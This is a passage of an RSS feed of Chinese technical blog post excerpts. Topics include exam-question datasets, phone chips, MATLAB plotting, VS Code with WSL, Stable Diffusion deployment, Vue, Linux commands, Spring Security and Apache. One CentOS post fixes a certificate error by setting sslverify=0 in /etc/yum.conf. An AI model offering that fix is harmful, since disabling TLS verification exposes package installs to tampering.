髓核化学溶解&#xA;法律&#xA;法律类题目来自国家统一法律职业资格考试，包括中国特色社会主义法治理论、宪法、中国法律史、国际法、刑法、民法、知识产权法、商法、经济法、劳动与社会保障法等，共有3695个问题。&#xA;示例：&#xA;根据法律规定，下列哪一种社会关系应由民法调整？&#xA;A. 甲请求税务机关退还其多缴的个人所得税&#xA;B. 乙手机丢失后发布寻物启事称：“拾得者送还手机，本人当面酬谢”&#xA;C. 丙对女友书面承诺：“如我在上海找到工作，则陪你去欧洲旅游”&#xA;D. 丁作为青年志愿者，定期去福利院做帮工&#xA;心理学&#xA;心理学类题目来自心理咨询师考试和研究生入学考试心理学专业基础综合考试，包括心理学概论、人格与社会心理学、发展心理学、心理咨询概论、心理评估、咨询方法等，共有2000个问题。&#xA;示例：&#xA;把与自己本无关系的事情认为有关，这种临床表现最可能出现于：&#xA;A. 被害妄想&#xA;B. 钟情妄想&#xA;C. 关系妄想&#xA;D. 夸大妄想&#xA;教育&#xA;教育学题目来自中国普通高等学校招生全国统一考试（中国高考），包括语文、数学、物理、化学、政治、历史、地理、生物，共有3331个问题。&#xA;示例：&#xA;若圆锥的侧面积等于其底面积的3倍，则该圆锥侧面展开图所对应扇形圆心角的度数为（ ）。&#xA;A. 60°&#xA;B. 90°&#xA;C. 120°</description>
    </item>
    <item>
      <title>天玑9200&#43;相当于骁龙哪个处理器 天玑9200&#43;和天玑9000有什么区别</title>
      <link>https://bchobby.github.io/posts/98ea8b784b0df519b39311e0fd7b5042/</link>
      <pubDate>Fri, 12 May 2023 12:12:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/98ea8b784b0df519b39311e0fd7b5042/</guid>
      <description>天玑9200+主频是3.0GHz，与骁龙 8Gen 2 相同，跑分要比骁龙 8Gen 2高一点点&#xA;天玑 9200+ 处理器与天玑 9200 同架构，但所有核心频率增加，主频来到了 3.0GHz，与骁龙 8Gen 2 相同。跑分数据，天玑 9200+ 在 Geekbench v6 平台单核得分 2121 分，多核得分 5655 分。作为对比，骁龙 8Gen 2 的单核跑分成绩在大约 2000，多核成绩大约 5400。&#xA;选玑9200+还是天玑9000这些点很重要看过你就懂了 http://www.adiannao.cn/7&#xA;天玑9200+的安兔兔跑分大约为 136 万分，骁龙8Gen2 安兔兔跑分大约是128万分。&#xA;天玑9200+和天玑9000有什么区别？&#xA;核心频率不同，CPU型号不同&#xA;天玑9200+和天玑 9000 都是联发科的5G旗舰级芯片，天玑9200+和天玑9000都是采用台积电4nm工艺制程。天玑9200+的CPU最高主频为3.3GHz，而天玑 9000 的CPU最高主频为3.2GHz。两款芯片都支持双模5G、WiFi 6E和蓝牙5. 2 等技术。</description>
    </item>
    <item>
      <title>Centos 解决执行 yum install...... 出现[Errno 14] curl#60 - “Peer‘s Certificate issuer is not recognized.“</title>
      <link>https://bchobby.github.io/posts/2eec10bc2ec33101dac550b9374d6cd4/</link>
      <pubDate>Fri, 12 May 2023 10:10:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2eec10bc2ec33101dac550b9374d6cd4/</guid>
      <description>当执行 yum install...... 出现[Errno 14] curl#60 - &#34;Peer&#39;s Certificate issuer is not recognized.&#34; 如图所示&#xA;解决方法：&#xA;修改配置文件/etc/yum.conf，在其中加入sslverify=0，保存即可。</description>
    </item>
    <item>
      <title>MATLAB三维曲面作图（六）等高线绘图（填色）</title>
      <link>https://bchobby.github.io/posts/d5fb2de50441b12e743da3308bea7042/</link>
      <pubDate>Fri, 12 May 2023 10:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d5fb2de50441b12e743da3308bea7042/</guid>
      <description>上一篇文章中，我们介绍了如何绘制等高线&#xA;但上一篇用到的contour函数绘制的等高线只有区域没有颜色&#xA;如果想要填充颜色，我们需要用到contourf函数&#xA;代码如下&#xA;close all [X,Y] = meshgrid(-8:0.5:8); R = sqrt(X.^2+Y.^2)+eps; Z = sin(R)./R; [C,h]=contourf(X,Y,Z); colormap gray colorbar set(h,&#39;ShowText&#39;,&#39;on&#39;,&#39;TextStep&#39;,get(h,&#39;LevelStep&#39;)) 我们只替换函数本身，就可以得到图示的效果&#xA;如果注释掉gray的语句&#xA;%colormap gray 可以得到如图的效果：&#xA;另一种方法是用pcolor绘制，但此时没有等高线：&#xA;pcolor(X,Y,Z); %colormap gray colorbar 结果：&#xA;可以看出，这是将图形均匀地分为小正方形色块，并对每一个小正方形填充同样的颜色，有些类似我们在前几篇文章中介绍过的surf函数&#xA;同样的，添加下列语句使得颜色过渡更平滑：&#xA;shading interp 结果：&#xA;参考《高等光学仿真——光波导、激光》</description>
    </item>
    <item>
      <title>使用vscode编写shell和python脚本</title>
      <link>https://bchobby.github.io/posts/45c50a4b5ace5415efc3e0f93396872c/</link>
      <pubDate>Fri, 12 May 2023 09:55:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/45c50a4b5ace5415efc3e0f93396872c/</guid>
      <description>使用vscode在linux环境编写shell和python脚本 对于经常编写脚本的人来说，编写shell一般都会在vim或记事本中，这样的方式没什么问题，但遇到需要测试的时候，就没有IDE那样的方便，而且使用IDE对shell的自动补全会让效率翻倍。&#xA;此文章将讲述如何在vscode中配置Linux运行环境，让你run code即可看到输出。&#xA;安装vscode 安装vscode的方式在这就不做大篇的叙述了，百度vscode，下载安装包，点击下一步安装即可&#xA;下载地址点我&#xA;安装WSL 简单讲下WSL，这里我们将使用WSL作为脚本的运行环境&#xA;WSL是一个在Windows 10\11上能够运行原生Linux二进制可执行文件的兼容层。注意它并不是虚拟机。&#xA;步骤&#xA;右键单击windows徽标，打开Powershell（管理员），执行&#xA;Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux 即可将WSL功能激活。&#xA;接着在微软商店中挑一个你想用的Linux发行版&#xA;这里我选择了Ubuntu 20，直接点击安装即可。安装成功后，在开始菜单中点击运行，看看是否正常，一般第一次都需要设置用户和密码&#xA;这就是wsl Ubuntu的界面，当你正常设置好用户名和密码，出现这个节目后，说明你的WSL安装正常了&#xA;安装插件 想必大家肯定不是第一次使用vscode的人了，就直接开门见山，直说需要安装什么插件好了&#xA;Code RunnerWSLRemote - SSHShellCheckShellmanShell-format 更多好用的脚本可自行安装&#xA;这里核心的插件是WSL，这里的wsl只是一个插件，和刚才安装的不一样，这个是用来连接WSL的&#xA;此时，在新建终端时，就可以看到刚才安装的WSL，这里我把它设置成了默认&#xA;新建一个终端看看是不是WSL&#xA;此时就可以在这里的终端直接输入各类命令使用了，目录也是windows下的目录，比如上图中当前的目录为/mnt/e，就代表现在在windows 中的E盘，这里需要注意的是，访问windows的文件管理器时，都要在mnt目录下寻找，WSL将windows 下的各个盘挂载在mnt下，当然你也可以使用WSL环境的linux目录结构。&#xA;vscode中setting.json部分配置如下&#xA;Code Runner插件配置 在vscode安装好linux环境后还不能优雅的调试写好的脚本，我们希望在点击run code按钮后，终端直接执行脚本，但现在还无法做到，现在执行脚本会有如下报错：&#xA;这是因为code runner 在执行shell时不能识别WSL，这时我们就要对code runner做一些修改。&#xA;找到code runner的安装目录，插件一般放在C:\Users\用户名\.vscode\extensions&#xA;code runner的文件名是formulahendry.code-runner，进入out\src 下，找到codeManager.js，在编辑器中打开。&#xA;找到&#xA;else if (windowsShell &amp;amp;&amp;amp; windowsShell.toLowerCase().indexOf(&#34;bash&#34;) &amp;gt; -1 &amp;amp;&amp;amp; windowsShell.toLowerCase().indexOf(&#34;windows&#34;) &amp;gt; -1) { command = command.replace(/([A-Za-z]):\\/g, this.replacer).replace(/\\/g, &#34;/&#34;);} 这段代码需改改成</description>
    </item>
    <item>
      <title>基于趋动云部署秋葉aaaki的Stable Diffusion整合包v4--linux版</title>
      <link>https://bchobby.github.io/posts/01b560a6154e9a41df2c68565ce73734/</link>
      <pubDate>Fri, 12 May 2023 09:33:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/01b560a6154e9a41df2c68565ce73734/</guid>
      <description>B站大V秋葉aaaki的Stable Diffusion整合V4版发布了，集成度比较高，在windows下解压缩直接就可以使用，整合的非常好。但是笔人没有RTX4090这样级别的显卡，又希望有个高速运行的效果。&#xA;所以索性到云GPU主机上来用秋叶aaaki的Stable Diffusion webui，一番研究后，在趋动云部署成功。运行良好，速度飞快。&#xA;特此分享。&#xA;一、安装包分析 秋叶aaaki的Stable Diffusion安装包下载下来后，目测主要进行了python环境的集成，以及windows下的git工具集成。这样再加上一个windows的启动器程序，就可以很好的控制环境变量的加载和一些安装包扩展组件的安装、升级等。&#xA;但是启动器在linux下是不能运行的，所以本文主要是把秋叶的V4版整合包，拿来主义的方式，在云端部署起来用起来。整体过程还算顺利。&#xA;为了减小上传云端的文件量首先要改版一下，秋叶的安装包，把里面的py310文件夹和git文件夹删掉，因为这些通常在云平台得用云平台环境的python环境和git环境。并且这2个主要是支持windows下作业的环境，上云之后都是linux，就没必要了。&#xA;干掉之后。压缩包从9.44G降到6.58G。这样就比较轻巧了！&#xA;二、思路 我们主要是希望在云平台直接使用秋叶集成好的Stable Diffusion WebUI ，并且主要是垂涎pyTorch2.0更高的性能，和秋叶用心对webui的集成成果。所以核心并不是将启动器移植到linux。而是将webui在趋动云的linux平台跑起来。&#xA;那么就要选择合适的云平台镜像，进行改造之后，操作起来就方便了！&#xA;但是和大多数AI GPU云平台一样，趋动云的GPU主机都是docker镜像的，docker镜像的开发环境都是基于python来运行jupyter来支撑在线多用户的隔离开发。而sd-webui要基于python3.10+pyTorch2.0的环境来跑，这与大多数云平台提供的python3.8/3.9存在冲突，很多奋战在一线的AIGC战友估计都有自己试过，但python的改变，往往会导致保存之后，镜像再也无法启动等问题。&#xA;所以最关键的问题就是，以官方最接近的镜像为基础，要进行miniconda的整合，并且要确保整合后形成一个带visual env条件的python环境，这样我们就可以在官方3.8或者3.9的python环境中，起一个3.10的python环境。还互不影响。&#xA;三、官方镜像分析&amp;amp;基础镜像制作 目标确定后，我们开始研究官方镜像。目前趋动云只有一版PyTorch2.0的官方镜像，之所以要选这个，是因为我们是要跑torch to GPU的，而如果官方没有提供一个整合好CUDA和显卡驱动的基础镜像的话，由于云硬件的未知性，想要从显卡驱动+CUDA开始往上一路做到miniconda的基础镜像，是不具备信息条件的。所以只能借力发力。&#xA;经过分析，最关键是miniconda安装完成后的最后一步，会向/root/.bashrc写入conda的init环境信息，以确保镜像启动后，进入命令行就进入conda的env环境体系。但是就是这个，会破坏趋动云官方的镜像的启动机制，导致镜像保存后就无法再启动。&#xA;so，怎么办呢？&#xA;办法就是，安装完成之后，把.bashrc里最后miniconda增加的部分，剪切出来，保存到code路径下，以后每次手动运行。避开保存环节，不破坏镜像。&#xA;conda在bashrc的末尾就增加了这段儿，一定要删掉，或者剪切掉。保存到自己的code区，随便一个文本文件。注意“/usr/miniconda3”这个路径，是安装miniconda时指定的，根据你得安装路径的不同。可能会不同。&#xA;# &amp;gt;&amp;gt;&amp;gt; conda initialize &amp;gt;&amp;gt;&amp;gt; # !! Contents within this block are managed by &#39;conda init&#39; !! __conda_setup=&#34;$(&#39;/usr/miniconda3/bin/conda&#39; &#39;shell.bash&#39; &#39;hook&#39; 2&amp;gt; /dev/null)&#34; if [ $? -eq 0 ]; then eval &#34;$__conda_setup&#34; else if [ -f &#34;/usr/miniconda3/etc/profile.d/conda.sh&#34; ]; then . &#34;</description>
    </item>
    <item>
      <title>【Vue工程】009-Plop 代码生成器</title>
      <link>https://bchobby.github.io/posts/4cfaf6f6f3f6b2328b981bdb38d9bd6b/</link>
      <pubDate>Fri, 12 May 2023 01:24:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4cfaf6f6f3f6b2328b981bdb38d9bd6b/</guid>
      <description>【Vue工程】009-Plop 代码生成器 文章目录 【Vue工程】009-Plop 代码生成器一、概述1、简介2、官方文档 二、基本使用1、安装2、根目录创建 `plopfile.js`3、创建 plop-templates 目录4、`package.json` 增加脚本5、使用 一、概述 1、简介 Plop 是一个用于生成代码文件的可配置的脚手架工具。它可以帮助开发人员自动创建代码文件、模板和代码片段，从而提高开发效率。&#xA;Plop 的工作原理是通过定义称为 “生成器”（generators）的脚本来生成代码文件。每个生成器定义了一组操作和模板，用于生成特定类型的文件或代码片段。当你运行 Plop 命令时，它会根据你的选择执行相应的生成器，并根据模板和操作的定义创建文件。&#xA;2、官方文档 https://plopjs.com/documentation/&#xA;二、基本使用 1、安装 pnpm add plop -D 2、根目录创建 plopfile.js module.exports = function (plop) { plop.setWelcomeMessage(&#39;请选择需要创建的模板：&#39;) plop.setGenerator(&#39;page&#39;, require(&#39;./plop-templates/page/prompt.cjs&#39;)) // 增加其他模板 // plop.setGenerator(&#39;page1&#39;, require(&#39;./plop-templates/page1/prompt.cjs&#39;)) // plop.setGenerator(&#39;page2&#39;, require(&#39;./plop-templates/page2/prompt.cjs&#39;)) } 3、创建 plop-templates 目录 模板文件：plop-templates/page/page.hbs&#xA;&amp;lt;template&amp;gt; &amp;lt;div&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script lang=&#34;ts&#34; setup&amp;gt; // 一、引入 // 二、数据 // 三、逻辑 // 四、钩子 // 五、其他 &amp;lt;/script&amp;gt; &amp;lt;style lang=&#34;scss&#34; scoped&amp;gt;&amp;lt;/style&amp;gt; 脚本文件：plop-templates/page/prompt.</description>
    </item>
    <item>
      <title>23种设计模式</title>
      <link>https://bchobby.github.io/posts/e0eb6ca0b746e3bc4166435839355bbe/</link>
      <pubDate>Thu, 11 May 2023 23:56:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e0eb6ca0b746e3bc4166435839355bbe/</guid>
      <description>这里写目录标题 引言:什么是设计模式1.创建型模式1.1 单例模式1.1.1 饿汉式1.1.2 懒汉式 1.2 工厂方法模式1.2.1 简单工厂模式1.2.2 工厂方法模式 1.3 抽象工厂模式1.4 建造者模式1.4.1 普通的创建方案1.4.2 建造者模式的解决方案 2.结构型模式2.1 适配器模式2.2 引言:什么是设计模式 设计模式是解决软件开发某些特定问题而提出的一些解决方案, 也可以理解为解决特定问题的思路, 通过设计模式可以增强代码的可重用性、可扩充性、可维护性、灵活性等等. 使用设计模式的目的是实现代码的解耦和高内聚&#xA;设计模式的三大类以及关键点&#xA;设计模式概述 以及 23种设计模式的介绍&#xA;1.创建型模式 对象实例化的模式，创建型模式用于解耦对象的实例化过程。&#xA;单例模式：某个类智能有一个实例，提供一个全局的访问点。工厂模式：一个工厂类根据传入的参量决定创建出哪一种产品类的实例。抽象工厂模式：创建相关或依赖对象的家族，而无需明确指定具体类。建造者模式：封装一个复杂对象的创建过程，并可以按步骤构造。原型模式：通过复制现有的实例来创建新的实例。 1.1 单例模式 一、单例模式常见的三种实现方法&#xA;饿汉式懒汉式 二、单例模式的特点&#xA;单例类只能有一个实例单例类必须自己创建这个实例单例类必须向整个系统提供这个实例 三、单例模式的应用场景&#xA;单例模式确保某个类有且只有一个实例, 且自行实例化后向整个系统提供这个实例.&#xA;在计算机系统中, 线程池、缓存、日志对象、对话框、打印机、显卡的驱动程序对象常被设计为单例. 这些应用都或多或少的具有资源管理器的功能, 每台计算机可以有若干个打印机, 但只能有一个PrinterSpooler, 避免两个打印作业同时输出到打印机中. 总而言之, 单例模式就是为了避免不一致的状态.&#xA;1.1.1 饿汉式 一、优点:&#xA;没有任何锁, 执行效率高, 用户体验比懒汉式更好&#xA;二、缺点:&#xA;类加载的时候就初始化, 不管用不用都占用内存空间&#xA;三、建议: 适用于单例模式较少的场景&#xA;如果我们在项目启动后, 一定会加载到类, 那么用饿汉式既简单又实用,&#xA;如果我们是写一些工具类, 则优先考虑懒汉模式, 可以避免提前被加载到内存, 占用系统资源&#xA;四、代码案例:&#xA;public class HungryMan { /** * static保证类加载时成员变量, 静态成员变量存放于方法区 * *局部变量:在方法内部声明的变量, 只在这个方法内部有效, 出了这个方法就无法使用了, 可以理解为销毁了 * *实例变量:没有使用static修饰的成员变量, 它在每一个实例化对象中都是独立的, 每个对象修改其值后, 只是修改了自己的实例变量, 其他对象 * 中的实例变量不受影响(每个对象的实例对象都有独立的内存, 它们互不影响) * *类变量(静态变量):使用static修饰的成员变量, 所有实例对象共享此变量(所有实例对象使用的类变量, 都指向同一个内存) * final保证此实例对象不支持被重新赋值 */ private final static HungryMan hungryMan = new HungryMan(); static { System.</description>
    </item>
    <item>
      <title>vue3使用指南</title>
      <link>https://bchobby.github.io/posts/595ceba85d46b241a410a2d0c91cf736/</link>
      <pubDate>Thu, 11 May 2023 23:03:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/595ceba85d46b241a410a2d0c91cf736/</guid>
      <description>vue3使用指南 主要介绍vue3的使用，同时会涉及到vue2，并会讲解其中的一些差异。&#xA;安装 CDN引入 如果想快速体验，可以直接通过cdn进行引入。&#xA;&amp;lt;div id=&#34;app&#34;&amp;gt;{{msg}}&amp;lt;/div&amp;gt; &amp;lt;script src=&#34;https://unpkg.com/vue@3/dist/vue.global.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script &amp;gt; Vue.createApp({ data() { return { msg: &#39;Vue3&#39; } } }).mount(&#39;#app&#39;) &amp;lt;/script&amp;gt; 通过 CDN 引入 Vue 时，由于不涉及到构建步骤，可以使得设置更加简单，并且可以用于增强静态的 HTML 或与后端框架集成。但是这也意味着无法使用SFC（单文件）语法。&#xA;使用es模块构建 现代浏览器大多都已原生支持 ES 模块，可以像这样通过 CDN 以及原生 ES 模块使用 Vue。&#xA;&amp;lt;div id=&#34;app&#34;&amp;gt;{{msg}}&amp;lt;/div&amp;gt; &amp;lt;script type=&#34;module&#34;&amp;gt; import { createApp } from &#39;https://unpkg.com/vue@3/dist/vue.esm-browser.js&#39; createApp({ data() { return { msg: &#39;Vue3&#39; } } }).mount(&#39;#app&#39;) &amp;lt;/script&amp;gt; 使用import maps &amp;lt;div id=&#34;app&#34;&amp;gt;{{msg}}&amp;lt;/div&amp;gt; &amp;lt;script type=&#34;importmap&#34;&amp;gt; { &#34;imports&#34;: { &#34;vue&#34;: &#34;</description>
    </item>
    <item>
      <title>Linux 进程管理</title>
      <link>https://bchobby.github.io/posts/a22601f45b7f6444b9f4660efb346591/</link>
      <pubDate>Thu, 11 May 2023 21:03:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a22601f45b7f6444b9f4660efb346591/</guid>
      <description>ps查看当前系统进程状态&#xA;1)基本语法&#xA;ps aux | grep xxx 功能描述:查看系统中所有进程&#xA;ps -ef | grep xxx 功能描述:可以查看子父进程之间的关系&#xA;2)选项说明 选项功能a列出带有终端的所有用户的进程x列出当前用户的所有进程 包括没有终端的进程u面向用户友好的现实风格-e列出所有进程-u列出某个用户关联的所有进程-f现实完整格式的进程列表 3)功能说明&#xA;①ps aux显示信息说明&#xA;USER:该进程是由哪个用户产生的&#xA;PID:进程的ID号&#xA;%CPU 占用的CPU资源的百分比 占用越高 进程越耗费资源&#xA;%MEN 占用的内存使用率 占用越高 进程越耗费资源&#xA;VSZ Virtual Memory Size 占用虚拟内存大小 单位KB&#xA;RSS Resident Set Size 占用实际内存大小 单位KB&#xA;TYY 该进程是在哪个终端中运行的 对于centos来说 tty1是图形化终端 tty2-tty6是本地的字符界面终端 pts/0-255代表虚拟终端&#xA;STAT: 进程状态&#xA;R:运行状态&#xA;S: 睡眠状态&#xA;T: 暂停执行&#xA;Z: 不存在但暂时无法消除(僵尸状态)&#xA;s:包含子进程&#xA;l:多线程&#xA;+：前台显示&#xA;START:该进程的启动时间&#xA;TIME:该进程占用CPU的运算时间 注意不是系统时间&#xA;COMMAND:产生此进程的命令名&#xA;②ps -ef显示信息说明&#xA;UID: 该进程执行的用户id&#xA;PID: 进程id</description>
    </item>
    <item>
      <title>【shell脚本里的命令】</title>
      <link>https://bchobby.github.io/posts/852081c7e01062b65adbfc32f037d062/</link>
      <pubDate>Thu, 11 May 2023 19:01:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/852081c7e01062b65adbfc32f037d062/</guid>
      <description>目录 一、sort命令1.1、命令演示 二、unip命令1、命令演示1、列题:2、使用脚本来查看用户有没有被恶意登录，查看登录用户的对应ip地址 三、tr命令1.1、命令演示1.2、使用tr命令对数组进行排序 四、从Windows里拉文件到Linux系统中要做的潜在条件五、cut命令六、split命令1.1、文件拆分 七、paste命令八、eval命令 一、sort命令 sort命令—以行为单位对文件内容进行排序，也可以根据不同的数据类型来排序比较原则是从首字符向后，依次按ASCII码值进行比较，最后将他们按升序输出。&#xA;语法格式: sort [选项] 参数（文件排序） cat 文件名 | sort 选项 常用选项命令解释-n按照数字进行排序-r反向排序-u等同于unig，表示相同的数据仅显示一行-t指定字段分隔符，默认使用 [Tab]键分隔-k指定排序字段-o &amp;lt;输出文件&amp;gt;将排序后的结果转存至指定文件-f忽略大小写，会将小写字母都转换为大写字母来进行比较-b忽略每行前面的空格 1.1、命令演示 1、不加上-n，只会看首个字符来排序&#xA;[root@dz666 ~]# sort shuzi.txt 1 10 100 155 177 2 3 333 333 35 444 444 75 2、加上-n后就会按大小来排序&#xA;[root@dz666 ~]# sort shuzi.txt -n 1 2 3 10 35 75 100 155 177 333 333 444 444 3、加上-r后就是用反向排序&#xA;[root@dz666 ~]# sort shuzi.txt -n -r 444 333 333 177 155 100 75 35 10 3 2 1 4、使用-u后将重复的行内容都压缩在一行</description>
    </item>
    <item>
      <title>怎么把图片变清晰？图片变清晰方法分享。</title>
      <link>https://bchobby.github.io/posts/ea230ab534b177a4c4bca733a586c79e/</link>
      <pubDate>Thu, 11 May 2023 17:08:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ea230ab534b177a4c4bca733a586c79e/</guid>
      <description>怎么把图片变清晰？图片变清晰可以指的是一种利用图像处理技术，对低质量或模糊的图片进行增强和改善的过程，这种技术可以通过各种算法和方法来实现，包括锐化、去噪、缩放、超分辨率等，那么小伙伴们该选择什么软件进行我们的图片变清晰呢，下面一起来看看吧！​&#xA;选择：一键抠图​&#xA;一键抠图APP是一款基于计算机视觉和深度学习技术，能够自动快速地将图片中的前景和背景分离，实现抠图功能的手机应用程序，当然里面的功能也是非常多的，像我们的照片变清晰就完全可以做到，需要我们找到图片变清晰功能，打开上传我们的照片就可以了！​&#xA;选择二：迅捷图片转换器​&#xA;迅捷图片转换器是一款能够将各种常见图像格式之间相互转换的工具软件，它可以支持将多种不同格式的图像文件进行批量转换，如JPEG、PNG、BMP、GIF、TIFF等，当然其中的功能也是非常多的，我们可以直接用它的“几乎人脸修复”功能，专门用来修复模糊的照片。​&#xA;选择三：jpgHD​&#xA;这是一个在线人工智能照片修复网站，不仅可以修复模糊的照片，还支持自定义照片的分辨率，并且图片上色、去噪等功能都不是问题。​&#xA;照片变清晰是一种非常实用的技术，可以提高图像质量和可读性，使我们更好地处理和管理数字照片，并发掘出更多有价值的信息和细节​</description>
    </item>
    <item>
      <title>【论文阅读】SAM医学图像分割近期工作综述</title>
      <link>https://bchobby.github.io/posts/45db51ef2c746f9620e5d7ccfb200bbb/</link>
      <pubDate>Thu, 11 May 2023 16:34:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/45db51ef2c746f9620e5d7ccfb200bbb/</guid>
      <description>How Segment Anything Model (SAM) Boost Medical Image Segmentation?&#xA;论文：[2305.03678] How Segment Anything Model (SAM) Boost Medical Image Segmentation? (arxiv.org)&#xA;仓库：https://github.com/yichizhang98/sam4mis&#xA;摘要： 在这项工作中，我们总结了近期工作中以扩展 SAM 医疗图像分割的任务，包括经验基准和方法的调整，并讨论了潜在的未来方向的 SAM 在医疗图像分割。&#xA;SAM：略&#xA;SAM在医学图像上分割效果： 病理图像分割：在WSI图像上肿瘤分割、非肿瘤组织分割、细胞核分割。单个正点提示、20正+10负、每个实例所有的点/框，在大型联通物体上效果好，密集实例物体效果差。可能的原因包括 WSI 的图像分辨率明显高于 SAM 的训练图像分辨率，以及数字病理学中不同组织类型的多尺度。&#xA;基于CECT的肝肿瘤分割：提示点越多，性能越好，但是和UNet相比仍有差距。&#xA;结肠镜图像中的息肉分割：低于现有方法。可能是由于息肉和周围粘膜界限模糊。&#xA;大脑MRI分割：SAM 可以获得与 BET 相当甚至更好的性能。&#xA;腹部CT器官分割：随机选1，3，10个点，抖动为0.01，0.05，0.1，0.25，0.5以模拟不同用户的不确定性。尽管使用点提示的 SAM 表现不佳，平均 Dice 相似系数(DSC)下降20.3% 至40.9% ，但使用方框提示，即使在中度(0.1)抖动的情况下也能获得高度竞争性的表现。&#xA;内窥镜手术器械分割：缺乏提示时分割结果较差，当仪器重叠或者只有一个点作为提示时，SAM 无法预测仪器的某些部分。此外，SAM 在复杂的手术情况下也不能识别器械，如血液、反射、模糊和阴影。&#xA;其他多数据集评估：略&#xA;另外，segment anything model for medical images【11】收集了52个公开数据集，建立了一个大规模数据集COSMOS 553K，包括16种模式，68个目标和553K张图。研究发现，当背景点与前景点相似时，负面点的加入会使任务绩效略有下降。&#xA;如何更好的将SAM适配到医学图像分割？ 扩展 SAM 在医学图像中的可用性。与传统的自然图像不同，医学图像大多采用 NII 和 DICOM 等特定格式。[ A 3d slicer integration to sam ]将 SAM 扩展到常用的医学图像查看器中，使用3D Slicer ，使研究人员能够在仅0.</description>
    </item>
    <item>
      <title>(vue)el新增弹窗关闭清空文件上传列表</title>
      <link>https://bchobby.github.io/posts/d3b6a5bd146f01f801f388af0764c01f/</link>
      <pubDate>Thu, 11 May 2023 14:45:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d3b6a5bd146f01f801f388af0764c01f/</guid>
      <description>(vue)el新增弹窗关闭清空文件上传列表 ： // 1.绑定ref &amp;lt;el-upload ref=&#34;mYupload&#34;&amp;gt; // 2.清空列表方法 clearFiles() { this.$refs[&#34;mYupload&#34;].clearFiles(); //延伸-清空表单 //this.$refs[&#34;ruleForm&#34;].resetFields(); }, // 3.成功后调用 addDocument(this.uploadForm, fd).then((res) =&amp;gt; { if (res.data.code == 200) { this.clearFiles(); } }); 效果 ：&#xA;修改后：</description>
    </item>
    <item>
      <title>SpringSecurity的自定义授权</title>
      <link>https://bchobby.github.io/posts/f4f7619fab9ded6275920e2a0fbee696/</link>
      <pubDate>Thu, 11 May 2023 12:36:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f4f7619fab9ded6275920e2a0fbee696/</guid>
      <description>补充一个小问题 @PreAuthorize(&#34;hasAuthority(&#39;sys:admin:list&#39;)&#34;) @RequestMapping(&#34;/more&#34;) public String more(){ return &#34;success&#34;; } 这段权限代码中，必须使用public修饰符，如果使用private则权限设置会失效&#xA;1.1 思路分析 LoginUser类 1.在LoginUser类中新增一个List&amp;lt;String&amp;gt;属性一个List&amp;lt;GrantedAuthority&amp;gt;属性，包含着权限信息&#xA;2.重写getAuthorities()方法（因为权限信息需要从该方法中取得），将List&amp;lt;String&amp;gt;封装到List&amp;lt;GrantedAuthority&amp;gt;中对应getAuthorities方法的返回值。&#xA;3.对List&amp;lt;GrantedAuthority&amp;gt;属性取消JSON序列化，否则反序列化会出错&#xA;UserDetailServiceImpl类 1.补充获取权限方法，这里先给出权限，后续会从数据库中查询。返回loginUser对象&#xA;JwtAuthoriTokenFilter类 1.在对应权限获取的构造方法中，利用getAuthorities()方法传递权限，封装到SecurityContextHolder中等待被访问。&#xA;SecurityConfig 1.开启权限。@EnbaleGlobalMethodSecurity(prePostEnabled=true)&#xA;SecurityController类&#xA;1.添加注解权限@PreAuthorize(&#34;hasAuthority(&#39;sys:test&#39;)&#34;)&#xA;1.2 实现 在domain类中新增权限集合属性&#xA;去权限并封装带LoginUser中&#xA;将获取LoginUser中权限信息并封装到Authentication对象中，最终封装到 SecurityContextHolder中。因为其他过滤器会从中取得用户信息&#xA;开启权限校验&#xA;设置权限字符</description>
    </item>
    <item>
      <title>Apache的运行过程和参数详解</title>
      <link>https://bchobby.github.io/posts/0f67998f96a2d94aa93258d2b14db04e/</link>
      <pubDate>Thu, 11 May 2023 10:09:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0f67998f96a2d94aa93258d2b14db04e/</guid>
      <description>文章目录 什么是ApacheApache 使用的协议Apache的每次资源访问的工作原理 （也就是三次握手和四次挥手）Apache的工作模式Apache的一次完整的请求过程Apache的进程模型和特性配置文件详解 什么是Apache Apache是一种开源的Web服务器软件，它可以在不同的操作系统上运行，如Linux、Unix、Windows等。Apache可以处理HTTP请求，并将Web页面发送给客户端浏览器。它也可以支持动态内容的生成，如PHP、Perl等脚本语言。Apache具有高度的可配置性和扩展性，因此被广泛用于Web应用程序的开发和部署&#xA;Apache 使用的协议 Apache使用的是HTTP协议，即超文本传输协议。HTTP协议是一种应用层协议，它是Web应用程序的基础。HTTP协议定义了客户端和服务器之间的通信规则，包括请求和响应的格式、状态码、缓存机制等。Apache作为Web服务器，可以处理HTTP请求，并将Web页面发送给客户端浏览器，以实现Web应用程序的功能。&#xA;apache默认占用的端口是80端口也可以进行 修改&#xA;/etc/httpd/conf/httpd.conf&#xA;·&#xA;Apache的每次资源访问的工作原理 （也就是三次握手和四次挥手） 三次握手和四次挥手是 TCP 协议中的两个重要概念。&#xA;三次握手 三次握手是指在 TCP 连接建立时，客户端和服务器之间需要进行三次交互，以确保双方都能收到对方的信息。具体步骤如下：&#xA;第一次握手：客户端向服务器发送 SYN 报文段，并设置初始序列号（ISN）。第二次握手：服务器收到客户端的 SYN 报文段后，向客户端发送 SYN+ACK 报文段，并设置确认序列号（ACK）为客户端的 ISN+1，同时设置自己的 ISN。第三次握手：客户端收到服务器的 SYN+ACK 报文段后，向服务器发送 ACK 报文段，并设置 ACK 序列号为服务器的 ISN+1。 通过三次握手，双方都能确认对方的 IP 地址、端口号和初始序列号，建立起可靠的 TCP 